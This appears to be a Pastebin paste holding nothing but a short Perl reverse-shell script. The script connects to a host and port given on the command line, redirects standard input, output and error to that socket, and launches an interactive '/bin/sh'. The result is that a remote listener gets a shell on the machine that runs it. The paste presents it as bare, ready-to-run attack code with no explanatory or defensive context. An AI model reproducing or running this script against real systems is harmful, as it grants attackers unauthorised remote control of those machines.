Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- use Socket;
- $iaddr=inet_aton($ARGV[0]) || die("Error: $!\n");
- $paddr=sockaddr_in($ARGV[1], $iaddr) || die("Error: $!\n");
- $proto=getprotobyname('tcp');
- socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
- connect(SOCKET, $paddr) || die("Error: $!\n");
- open(STDIN, ">&SOCKET");
- open(STDOUT, ">&SOCKET");
- open(STDERR, ">&SOCKET");
- system('/bin/sh -i');
- close(STDIN);
- close(STDOUT);
- close(STDERR);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement